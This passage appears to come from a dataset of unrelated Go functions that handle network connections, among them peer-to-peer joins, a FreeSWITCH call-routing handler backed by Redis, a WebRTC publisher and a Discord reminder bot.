{\n\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t}\n\t\t\t\t//log.Printf(\"Notification %s\", path)\n\t\n\t\t\t\tnotify = notificator.New(notificator.Options{\n\t\t\t\t\tDefaultIcon: path,\n\t\t\t\t\tAppName: \"Mediascape\",\n\t\t\t\t})\n\t\n\t\t\t\tif(string(runtime.GOOS)==\"linux\"&&string(runtime.GOARCH)!=\"arm\"){\n\t\t\t\t\tnotify.Push(\"Mediascape\", string(message), path)\n\t\t\t\t}else if(string(runtime.GOOS)==\"linux\"&&string(runtime.GOARCH)==\"arm\"){\n\t\t\t\t\tcompletUrl := fmt.Sprintf(\"http://localhost:8182/discoveryagent/notification?url=%s\", string(message))\n\t\t\t\t\tresponse, err := http.Get(completUrl)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t// handle error\n\t\t\t\t\t\tlog.Printf(\"Error: %s\",err)\n\t\t\t\t\t}else{\n\t\t\t\t\t\tdefer response.Body.Close()\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tsock.broadcastBuffer <- wsBroadcast\n\t}\n}","func (hub *Hub) Join(conn net.Conn) {\n\tclient := NewClient(conn)\n\thub.numClients++\n\tclientID := strconv.Itoa(hub.numClients)\n\thub.clientMap[clientID] = client\n\tgo func() {\n\t\tfor {\n\t\t\thub.outboundMessage <- <-client.inboundMessage\n\t\t}\n\t}()\n}","func (this *Client) AwaitConnect() {\n\tthis.getConsumerConnection().awaitConnection()\n\tthis.getPublisherConnection().awaitConnection()\n}","func (m *Mock) Connected(_ context.Context, peer p2p.Peer, _ bool) error {\n\tm.mtx.Lock()\n\tm.peers = append(m.peers, peer.Address)\n\tm.mtx.Unlock()\n\tm.Trigger()\n\treturn nil\n}","func (n *Node) connect(entryPoint *peer.Peer) *NodeErr {\n\t// Create the request using a connection message.\n\tmsg := new(message.Message).SetType(message.ConnectType).SetFrom(n.Self)\n\treq, err := composeRequest(msg, entryPoint)\n\tif err != nil {\n\t\treturn ParseErr(\"error encoding message to request\", err)\n\t}\n\n\t// Try to join into the network through the provided peer\n\tres, err := n.client.Do(req)\n\tif err != nil {\n\t\treturn ConnErr(\"error trying to connect to a peer\", err)\n\t}\n\n\tif code := res.StatusCode; code != http.StatusOK {\n\t\terr := fmt.Errorf(\"%d http status received from %s\", code, entryPoint)\n\t\treturn ConnErr(\"error making the request to a peer\", err)\n\t}\n\n\t// Reading the list of current members of the network from the peer\n\t// response.\n\tbody, err := io.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn ParseErr(\"error reading peer response body\", err)\n\t}\n\tres.Body.Close()\n\n\t// Parsing the received list\n\treceivedMembers := peer.NewMembers()\n\tif receivedMembers, err = receivedMembers.FromJSON(body); err != nil {\n\t\treturn ParseErr(\"error parsing incoming member list\", err)\n\t}\n\n\t// Update current members and send a connection request to all of them,\n\t// discarting the response received (the list of current members).\n\tfor _, member := range receivedMembers.Peers() {\n\t\t// If a received peer is not the same that contains the current node try\n\t\t// to connect directly.\n\t\tif !n.Self.Equal(member) {\n\t\t\tif req, err := composeRequest(msg, member); err != nil {\n\t\t\t\treturn ParseErr(\"error decoding request to message\", err)\n\t\t\t} else if _, err := n.client.Do(req); err != nil {\n\t\t\t\treturn ConnErr(\"error trying to perform the request\", err)\n\t\t\t}\n\t\t\tn.Members.Append(member)\n\t\t}\n\t}\n\n\t// Set node status as connected.\n\tn.setConnected(true)\n\t// Append the entrypoint to the current members.\n\tn.Members.Append(entryPoint)\n\treturn nil\n}","func (client *Client) Connect() {\n\t/*\tgo func() {\n\t\tfor {*/\n\tstart := time.Now()\n\tconn, err := net.Dial(\"tcp\", client.address)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Ask server for an id\n\tname := fake.FullName()\n\t_, _ = fmt.Fprintf(conn, \"new \"+name)\n\tid := make([]byte, 2)\n\t_, err = conn.Read(id)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tclient.player = name\n\tclient.id, _ = strconv.Atoi(string(string(id)[0]))\n\tfmt.Printf(\"We are in da place as '%s' '%s'\\n\", name, client.id)\n\t_ = conn.Close()\n\tfmt.Printf(\"ping %d\", time.Now().Sub(start).Milliseconds())\n\t/*\t\t}\n\t}()*/\n}","func (a *agent) connect() error {\n\terr := backoff.Retry(func() error {\n\t\tif a.amqpURL == \"\" {\n\t\t\treturn fmt.Errorf(\"no mq URL\")\n\t\t}\n\t\tparts := strings.Split(a.amqpURL, \"@\")\n\t\thostport := parts[len(parts)-1]\n\n\t\ta.logger.InfoF(\"dialing %q\", hostport)\n\t\tconn, err := amqp.Dial(a.amqpURL)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"dialing %q\", hostport)\n\t\t}\n\t\t// Set connection to agent for reference\n\t\ta.mu.Lock()\n\t\ta.conn = conn\n\t\ta.mu.Unlock()\n\n\t\tif err := a.openChannel(); err != nil {\n\t\t\treturn errors.Wrapf(err, \"openChannel\")\n\t\t}\n\n\t\tif err := a.runWorker(); err != nil {\n\t\t\treturn errors.Wrapf(err, \"startWorkers\")\n\t\t}\n\n\t\ta.wg.Add(1)\n\t\tgo func() {\n\t\t\tdefer a.wg.Done()\n\t\t\ta.waitChannel()\n\t\t}()\n\t\ta.logger.InfoF(\"connected %q\", hostport)\n\t\treturn nil\n\t}, backoff.WithContext(a.connBackOff, a.ctx))\n\tif err != nil {\n\t\ta.logger.ErrorF(\"connect failed: %q\", err.Error())\n\t\treturn err\n\t}\n\treturn nil\n}","func handle(s *OutboundServer) {\n\n\tclient, err := Dial(&DialConfig{Address: fmt.Sprintf(\"%s:%d\", cfg.Redis.Ip, cfg.Redis.Port)})\n\n\tif err != nil {\n\n\t\tError(\"Error occur in connecting redis\", err)\n\t\treturn\n\n\t}\n\n\tfor {\n\n\t\tselect {\n\n\t\tcase conn := <-s.Conns:\n\t\t\tNotice(\"New incomming connection: %v\", conn)\n\n\t\t\tif err := conn.Connect(); err != nil {\n\t\t\t\tError(\"Got error while accepting connection: %s\", err)\n\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tmsg, err := conn.ReadMessage()\n\n\t\t\tif err == nil && msg != nil {\n\n\t\t\t\t//conn.Send(\"myevents\")\n\t\t\t\tDebug(\"Connect message %s\", msg.Headers)\n\n\t\t\t\tuniqueID := msg.GetCallUUID()\n\t\t\t\tfrom := msg.GetHeader(\"Caller-Caller-Id-Number\")\n\t\t\t\tto := msg.GetHeader(\"Caller-Destination-Number\")\n\t\t\t\tdirection := msg.GetHeader(\"Call-Direction\")\n\t\t\t\tchannelStatus := msg.GetHeader(\"Answer-State\")\n\t\t\t\toriginateSession := msg.GetHeader(\"Variable_originate_session_uuid\")\n\t\t\t\tcompany := msg.GetHeader(\"Variable_company\")\n\t\t\t\ttenant := msg.GetHeader(\"Variable_tenant\")\n\t\t\t\tskill := msg.GetHeader(\"Variable_skill\")\n\t\t\t\tfsUUID := msg.GetHeader(\"Core-Uuid\")\n\t\t\t\tfsHost := msg.GetHeader(\"Freeswitch-Hostname\")\n\t\t\t\tfsName := msg.GetHeader(\"Freeswitch-Switchname\")\n\t\t\t\tfsIP := msg.GetHeader(\"Freeswitch-Ipv4\")\n\t\t\t\tcallerContext := msg.GetHeader(\"Caller-Context\")\n\n\t\t\t\t//conn.Send(fmt.Sprintf(\"myevent json %s\", uniqueID))\n\n\t\t\t\tif len(originateSession) == 0 {\n\n\t\t\t\t\tDebug(\"New Session created ---> %s\", uniqueID)\n\n\t\t\t\t} else {\n\n\t\t\t\t}\n\n\t\t\t\tDebug(from)\n\t\t\t\tDebug(to)\n\t\t\t\tDebug(direction)\n\t\t\t\tDebug(channelStatus)\n\t\t\t\tDebug(fsUUID)\n\t\t\t\tDebug(fsHost)\n\t\t\t\tDebug(fsName)\n\t\t\t\tDebug(fsIP)\n\t\t\t\tDebug(originateSession)\n\t\t\t\tDebug(callerContext)\n\t\t\t\tDebug(company)\n\t\t\t\tDebug(tenant)\n\t\t\t\tDebug(skill)\n\n\t\t\t\tcomapnyi, _ := strconv.Atoi(company)\n\t\t\t\ttenanti, _ := strconv.Atoi(tenant)\n\n\t\t\t\tif direction == \"outbound\" {\n\t\t\t\t\tDebug(\"OutBound Call recived ---->\")\n\n\t\t\t\t\t//if channelStatus != \"answered\" {\n\t\t\t\t\t////////////////////////////////////////////////////////////\n\t\t\t\t\tif len(originateSession) > 0 {\n\n\t\t\t\t\t\tDebug(\"Original session found %s\", originateSession)\n\n\t\t\t\t\t\tvar isStored = true\n\t\t\t\t\t\tpartykey := fmt.Sprintf(\"ARDS:Leg:%s\", uniqueID)\n\t\t\t\t\t\tkey := fmt.Sprintf(\"ARDS:Session:%s\", originateSession)\n\n\t\t\t\t\t\texsists, exsisterr := client.Exists(key)\n\t\t\t\t\t\tagentStatusRaw, _ := client.HGet(key, \"AgentStatus\")\n\t\t\t\t\t\tagentstatus := string(agentStatusRaw[:])\n\n\t\t\t\t\t\tDebug(\"Client exsists ----------------------->%s\", agentstatus)\n\t\t\t\t\t\tif exsisterr == nil && exsists == true && agentstatus == \"NotFound\" {\n\n\t\t\t\t\t\t\tredisErr := client.SimpleSet(partykey, originateSession)\n\t\t\t\t\t\t\tDebug(\"Store Data : %s \", redisErr)\n\t\t\t\t\t\t\tisStored, redisErr = client.HSet(key, \"AgentStatus\", \"AgentFound\")\n\t\t\t\t\t\t\tDebug(\"Store Data : %s %s\", isStored, redisErr)\n\t\t\t\t\t\t\tisStored, redisErr = client.HSet(key, \"AgentUUID\", uniqueID)\n\t\t\t\t\t\t\tDebug(\"Store Data : %s %s\", isStored, redisErr)\n\t\t\t\t\t\t\t//msg, err = conn.Execute(\"wait_for_answer\", \"\", true)\n\t\t\t\t\t\t\t//Debug(\"wait for answer ----> %s\", msg)\n\t\t\t\t\t\t\t//msg, err = conn.ExecuteSet(\"CHANNEL_CONNECTION\", \"true\", false)\n\t\t\t\t\t\t\t//Debug(\"Set variable ----> %s\", msg)\n\n\t\t\t\t\t\t\tif channelStatus == \"answered\" {\n\n\t\t\t\t\t\t\t\texsists, exsisterr := client.Exists(key)\n\t\t\t\t\t\t\t\tif exsisterr == nil && exsists == true {\n\n\t\t\t\t\t\t\t\t\tclient.HSet(key, \"AgentStatus\", \"AgentConnected\")\n\n\t\t\t\t\t\t\t\t\tcmd := fmt.Sprintf(\"uuid_bridge %s %s\", originateSession, uniqueID)\n\t\t\t\t\t\t\t\t\tDebug(cmd)\n\t\t\t\t\t\t\t\t\tconn.BgApi(cmd)\n\t\t\t\t\t\t\t\t\t/////////////////////Remove///////////////////////\n\n\t\t\t\t\t\t\t\t\tRemoveRequest(comapnyi, tenanti, originateSession)\n\n\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\tRejectRequest(comapnyi, tenanti, originateSession, \"NoSession\")\n\n\t\t\t\t\t\t\t\t\tconn.ExecuteHangup(uniqueID, \"\", false)\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tconn.Send(\"myevents json\")\n\t\t\t\t\t\t\tgo func() {\n\n\t\t\t\t\t\t\t\tfor {\n\t\t\t\t\t\t\t\t\tmsg, err := conn.ReadMessage()\n\n\t\t\t\t\t\t\t\t\tif err != nil {\n\n\t\t\t\t\t\t\t\t\t\t// If it contains EOF, we really dont care...\n\t\t\t\t\t\t\t\t\t\tif !strings.Contains(err.Error(), \"EOF\") {\n\t\t\t\t\t\t\t\t\t\t\tError(\"Error while reading Freeswitch message: %s\", err)\n\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tif msg != nil {\n\n\t\t\t\t\t\t\t\t\t\t\tuuid := msg.GetHeader(\"Unique-ID\")\n\t\t\t\t\t\t\t\t\t\t\tDebug(uuid)\n\n\t\t\t\t\t\t\t\t\t\t\tcontentType := msg.GetHeader(\"Content-Type\")\n\t\t\t\t\t\t\t\t\t\t\tevent := msg.GetHeader(\"Event-Name\")\n\t\t\t\t\t\t\t\t\t\t\tDebug(\"Content types -------------------->\", contentType)\n\n\t\t\t\t\t\t\t\t\t\t\tif contentType == \"text/disconnect-notice\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t//key := fmt.Sprintf(\"ARDS:Session:%s\", uniqueID)\n\n\t\t\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t\t\tif event == \"CHANNEL_ANSWER\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tfmt.Printf(\"%s\", event)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\texsists, exsisterr := client.Exists(key)\n\t\t\t\t\t\t\t\t\t\t\t\t\tif exsisterr == nil && exsists == true {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tclient.HSet(key, \"AgentStatus\", \"AgentConnected\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcmd := fmt.Sprintf(\"uuid_bridge %s %s\", originateSession, uniqueID)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tDebug(cmd)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tconn.BgApi(cmd)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t/////////////////////Remove///////////////////////\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tRemoveRequest(comapnyi, tenanti, originateSession)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tRejectRequest(comapnyi, tenanti, originateSession, \"NoSession\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tconn.ExecuteHangup(uniqueID, \"\", false)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t} else if event == \"CHANNEL_HANGUP\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tvalue1, getErr1 := client.HGet(key, \"AgentStatus\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tagentstatus := string(value1[:])\n\t\t\t\t\t\t\t\t\t\t\t\t\tif getErr1 == nil {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif agentstatus != \"AgentConnected\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif agentstatus == \"AgentKilling\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//////////////////////////////Reject//////////////////////////////////////////////\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//http://localhost:2225/request/remove/company/tenant/sessionid\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tRejectRequest(comapnyi, tenanti, originateSession, \"AgentRejected\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDebug(\"Store Data : %s \", redisErr)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tval, _ := client.HExists(key, \"AgentStatus\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif val == true {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tisStored, redisErr = client.HSet(key, \"AgentStatus\", \"NotFound\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDebug(\"Store Data : %s %s \", redisErr, isStored)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tDebug(\"Got message: %s\", msg)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tDebug(\"Leaving go routing after everithing completed OutBound %s %s\", key, partykey)\n\t\t\t\t\t\t\t\t//client.Del(key)\n\t\t\t\t\t\t\t\tclient.Del(partykey)\n\t\t\t\t\t\t\t}()\n\n\t\t\t\t\t\t\t//}\n\t\t\t\t\t\t\t/////////////////////////////////////////////////////////////\n\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\tRejectRequest(1, 3, originateSession, \"NoSession\")\n\n\t\t\t\t\t\tcmd := fmt.Sprintf(\"uuid_kill %s \", uniqueID)\n\t\t\t\t\t\tDebug(cmd)\n\t\t\t\t\t\tconn.BgApi(cmd)\n\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\n\t\t\t\t\tanswer, err := conn.ExecuteAnswer(\"\", false)\n\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tError(\"Got error while executing answer: %s\", err)\n\n\t\t\t\t\t}\n\n\t\t\t\t\tDebug(\"Answer Message: %s\", answer)\n\t\t\t\t\tDebug(\"Caller UUID: %s\", uniqueID)\n\n\t\t\t\t\t//////////////////////////////////////////Add to queue//////////////////////////////////////\n\t\t\t\t\tskills := []string{skill}\n\t\t\t\t\tAddRequest(comapnyi, tenanti, uniqueID, skills)\n\n\t\t\t\t\t///////////////////////////////////////////////////////////////////////////////////////////\n\n\t\t\t\t\tkey := fmt.Sprintf(\"ARDS:Session:%s\", uniqueID)\n\n\t\t\t\t\tpartykey := fmt.Sprintf(\"ARDS:Leg:%s\", uniqueID)\n\t\t\t\t\tvar isStored = true\n\t\t\t\t\tDebug(\"key ---> %s \", partykey)\n\t\t\t\t\tredisErr := client.SimpleSet(partykey, uniqueID)\n\t\t\t\t\tDebug(\"Store Data : %s \", redisErr)\n\n\t\t\t\t\tDebug(\"key ---> %s \", key)\n\t\t\t\t\tisStored, redisErr = client.HSet(key, \"CallStatus\", \"CallOnQueue\")\n\t\t\t\t\tDebug(\"Store Data : %s \", redisErr)\n\t\t\t\t\tisStored, redisErr = client.HSet(key, \"AgentStatus\", \"NotFound\")\n\n\t\t\t\t\tDebug(\"Store Data : %s %s \", redisErr, isStored)\n\n\t\t\t\t\tconn.Send(\"myevents json\")\n\t\t\t\t\tconn.Send(\"linger\")\n\t\t\t\t\tif sm, err := conn.Execute(\"playback\", \"local_stream://moh\", false); err != nil {\n\t\t\t\t\t\tError(\"Got error while executing speak: %s\", err)\n\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\tDebug(\"Playback reply %s\", sm)\n\n\t\t\t\t\t}\n\n\t\t\t\t\tDebug(\"Leaving go routing after everithing completed Inbound\")\n\n\t\t\t\t\t/////////////////////////////////////////////////////////////////////////////////////////////////\n\n\t\t\t\t\tgo func() {\n\n\t\t\t\t\t\tfor {\n\t\t\t\t\t\t\tmsg, err := conn.ReadMessage()\n\n\t\t\t\t\t\t\tif err != nil {\n\n\t\t\t\t\t\t\t\t// If it contains EOF, we really dont care...\n\t\t\t\t\t\t\t\tif !strings.Contains(err.Error(), \"EOF\") {\n\t\t\t\t\t\t\t\t\tError(\"Error while reading Freeswitch message: %s\", err)\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif msg != nil {\n\n\t\t\t\t\t\t\t\t\tuuid := msg.GetHeader(\"Unique-ID\")\n\t\t\t\t\t\t\t\t\tDebug(uuid)\n\n\t\t\t\t\t\t\t\t\tcontentType := msg.GetHeader(\"Content-Type\")\n\t\t\t\t\t\t\t\t\tevent := msg.GetHeader(\"Event-Name\")\n\t\t\t\t\t\t\t\t\tapplication := msg.GetHeader(\"variable_current_application\")\n\n\t\t\t\t\t\t\t\t\tDebug(\"Content types -------------------->\", contentType)\n\t\t\t\t\t\t\t\t\t//response := msg.GetHeader(\"variable_current_application_response\")\n\t\t\t\t\t\t\t\t\tif contentType == \"text/disconnect-notice\" {\n\n\t\t\t\t\t\t\t\t\t\t//key := fmt.Sprintf(\"ARDS:Session:%s\", uniqueID)\n\n\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\tDebug(\"Event -------------------->\", event)\n\n\t\t\t\t\t\t\t\t\t\tif event == \"CHANNEL_EXECUTE_COMPLETE\" && application == \"playback\" {\n\n\t\t\t\t\t\t\t\t\t\t\tvalue1, getErr1 := client.HGet(key, \"AgentStatus\")\n\t\t\t\t\t\t\t\t\t\t\tsValue1 := string(value1[:])\n\n\t\t\t\t\t\t\t\t\t\t\tvalue2, getErr2 := client.HGet(key, \"AgentUUID\")\n\t\t\t\t\t\t\t\t\t\t\tsValue2 := string(value2[:])\n\n\t\t\t\t\t\t\t\t\t\t\tDebug(\"Client side connection values %s %s %s %s\", getErr1, getErr2, sValue1, sValue2)\n\n\t\t\t\t\t\t\t\t\t\t\tif getErr1 == nil && getErr2 == nil && sValue1 == \"AgentConnected\" && len(sValue2) > 0 {\n\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} else if event == \"CHANNEL_HANGUP\" {\n\n\t\t\t\t\t\t\t\t\t\t\tvalue1, getErr1 := client.HGet(key, \"AgentStatus\")\n\t\t\t\t\t\t\t\t\t\t\tagentstatus := string(value1[:])\n\n\t\t\t\t\t\t\t\t\t\t\tvalue2, _ := client.HGet(key, \"AgentUUID\")\n\t\t\t\t\t\t\t\t\t\t\tsValue2 := string(value2[:])\n\t\t\t\t\t\t\t\t\t\t\tif getErr1 == nil {\n\n\t\t\t\t\t\t\t\t\t\t\t\tif agentstatus != \"AgentConnected\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t//////////////////////////////Remove//////////////////////////////////////////////\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tif agentstatus == \"AgentFound\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tclient.HSet(key, \"AgentStatus\", \"AgentKilling\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcmd := fmt.Sprintf(\"uuid_kill %s \", sValue2)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tDebug(cmd)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tconn.Api(cmd)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tRejectRequest(comapnyi, tenanti, uniqueID, \"ClientRejected\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tRemoveRequest(comapnyi, tenanti, uniqueID)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\tclient.Del(key)\n\t\t\t\t\t\t\t\t\t\t\tclient.Del(partykey)\n\t\t\t\t\t\t\t\t\t\t\tconn.Exit()\n\n\t\t\t\t\t\t\t\t\t\t} else if event == \"CHANNEL_HANGUP_COMPLETED\" {\n\n\t\t\t\t\t\t\t\t\t\t\tconn.Close()\n\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//Debug(\"Got message: %s\", msg)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tDebug(\"Leaving go routing after everithing completed Inbound %s %s\", key, partykey)\n\t\t\t\t\t\tclient.Del(key)\n\t\t\t\t\t\tclient.Del(partykey)\n\t\t\t\t\t}()\n\n\t\t\t\t}\n\n\t\t\t} else {\n\n\t\t\t\tError(\"Got Error %s\", err)\n\t\t\t\tconn.Exit()\n\t\t\t}\n\n\t\tdefault:\n\t\t}\n\t}\n\n}","func (c *connection) Connect(ip string, port int) (int, error) {\n\tvar err error\n\tvar tempConn net.Conn\n\ttempConn, err = net.DialTimeout(\"tcp\", fmt.Sprint(ip, \":\", port), time.Second*5)\n\tfor err != nil {\n\t\ttempConn, err = net.DialTimeout(\"tcp\", fmt.Sprint(ip, \":\", port), time.Second*5)\n\t}\n\tconn := tempConn.(*net.TCPConn)\n\tif err != nil {\n\t\tpanic(\"Couldnt dial the host: \" + err.Error())\n\t}\n\n\twrite(conn, []byte{0, 0, byte(c.myPort / 256), byte(c.myPort % 256)})\n\t//conn.SetReadDeadline(time.Now().Add(time.Second*5))\n\n\tmsg := read(conn)\n\tc.myId = int(msg[0])\n\tc.addPeer(c.myId, nil, 0)\n\totherId := int(msg[1])\n\tc.peers = make([]*peer, c.myId+1)\n\tc.addPeer(otherId, conn, port)\n\tj := 2\n\tfor j < len(msg) {\n\t\tid := int(msg[j])\n\t\tj++\n\t\tip, port, k := addrFromBytes(msg[j:])\n\t\tnewConn, err := net.Dial(\"tcp\", fmt.Sprint(ip, \":\", port))\n\t\tif err != nil {\n\t\t\tpanic(\"Got error when connecting to addr \" + fmt.Sprint(ip, \":\", port) + \": \" + err.Error())\n\t\t}\n\t\twrite(newConn, []byte{0, byte(c.myId), byte(c.myPort / 256), byte(c.myPort % 256)})\n\t\tc.addPeer(id, newConn.(*net.TCPConn), port)\n\t\tgo c.receive(c.peers[id])\n\t\tj += k\n\t}\n\tgo c.receive(c.peers[otherId])\n\treturn c.myId, nil\n}","func (t *RoomClient) Publish(codec string) {\n\tif t.AudioTrack != nil {\n\t\tif _, err := t.pubPeerCon.AddTrack(t.AudioTrack); err != nil {\n\t\t\tlog.Print(err)\n\t\t\tpanic(err)\n\t\t}\n\t}\n\tif t.VideoTrack != nil {\n\t\tif _, err := t.pubPeerCon.AddTrack(t.VideoTrack); err != nil {\n\t\t\tlog.Print(err)\n\t\t\tpanic(err)\n\t\t}\n\t}\n\n\tt.pubPeerCon.OnICEConnectionStateChange(func(connectionState webrtc.ICEConnectionState) {\n\t\tlog.Printf(\"Client %v producer State has changed %s \\n\", t.name, connectionState.String())\n\t})\n\n\t// Create an offer to send to the browser\n\toffer, err := t.pubPeerCon.CreateOffer(nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Sets the LocalDescription, and starts our UDP listeners\n\terr = t.pubPeerCon.SetLocalDescription(offer)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tpubMsg := biz.PublishMsg{\n\t\tRoomInfo: t.room,\n\t\tRTCInfo: biz.RTCInfo{Jsep: offer},\n\t\tOptions: newPublishOptions(codec),\n\t}\n\n\tres := <-t.WsPeer.Request(proto.ClientPublish, pubMsg, nil, nil)\n\tif res.Err != nil {\n\t\tlogger.Infof(\"publish reject: %d => %s\", res.Err.Code, res.Err.Text)\n\t\treturn\n\t}\n\n\tvar msg biz.PublishResponseMsg\n\terr = json.Unmarshal(res.Result, &msg)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\n\tt.MediaInfo = msg.MediaInfo\n\n\t// Set the remote SessionDescription\n\terr = t.pubPeerCon.SetRemoteDescription(msg.Jsep)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}","func ReceiveFromPeer(remotePID string, payload []byte) {\n\t// TODO: implement a cleaner way to do that\n\t// Checks during 100 ms if the conn is available, because remote device can\n\t// be ready to write while local device is still creating the new conn.\n\tfor i := 0; i < 100; i++ {\n\t\tc, ok := connMap.Load(remotePID)\n\t\tif ok {\n\t\t\t_, err := c.(*Conn).readIn.Write(payload)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"receive from peer: write\", zap.Error(err))\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\ttime.Sleep(1 * time.Millisecond)\n\t}\n\n\tlogger.Error(\n\t\t\"connmgr failed to read from conn: unknown conn\",\n\t\tzap.String(\"remote address\", remotePID),\n\t)\n\tmcdrv.CloseConnWithPeer(remotePID)\n}","func Connect(token string) error {\n\tdg, err := discordgo.New(\"Bot \" + token)\n\tif err != nil {\n\t\tfmt.Println(\"error creating Discord session,\", err)\n\t\treturn err\n\t}\n\tdg.AddHandler(manager)\n\tchannels, _ := dg.GuildChannels(\"675106841436356628\")\n\n\tfor _, v := range channels {\n\t\tfmt.Printf(\"Channel id: %s Channel name: %s\\n\", v.ID, v.Name)\n\t}\n\n\t// This function sends message every hour concurrently.\n\tgo func() {\n\t\tfor range time.NewTicker(time.Hour).C {\n\t\t\t_, err := dg.ChannelMessageSend(\"675109890204762143\", \"dont forget washing ur hands!\")\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"couldn't send ticker message\", err)\n\t\t\t}\n\t\t}\n\t}()\n\n\terr = dg.Open()\n\tif err != nil {\n\t\tfmt.Println(\"error opening connection,\", err)\n\t\treturn err\n\t}\n\t// Wait here until CTRL-C or other term signal is received.\n\tfmt.Println(\"Bot is now running. Press CTRL-C to exit.\")\n\tsc := make(chan os.Signal, 1)\n\tsignal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill)\n\t<-sc\n\t// Cleanly close down the Discord session.\n\tdg.Close()\n\treturn nil\n}","func join(channel string) {\n\tIRCOutgoing <- \"JOIN \" + channel\n}","func (m *ConnManager) Broadcast(conn *websocket.Conn, msg *Message) {\n\tm.Foreach(func(k, v interface{}) {\n\t\tif c, ok := v.(*websocket.Conn); ok && c != conn {\n\t\t\tif err := websocket.JSON.Send(c, msg); err != nil {\n\t\t\t\tfmt.Println(\"Send msg error: \", err)\n\t\t\t}\n\t\t}\n\t})\n}","func (e *EventQueue) FireConnect(m *message.Connect) {\n\n\trequest := &PlayerConnect{\n\t\tpayload: m,\n\t\tsubscribers: e.ConnectListeners,\n\t}\n\te.primaryQ <- request\n}","func (s *Sender) connect() net.Conn {\n\tbaseGap := 500 * time.Millisecond\n\tfor {\n\t\tconn, err := net.Dial(\"tcp\", 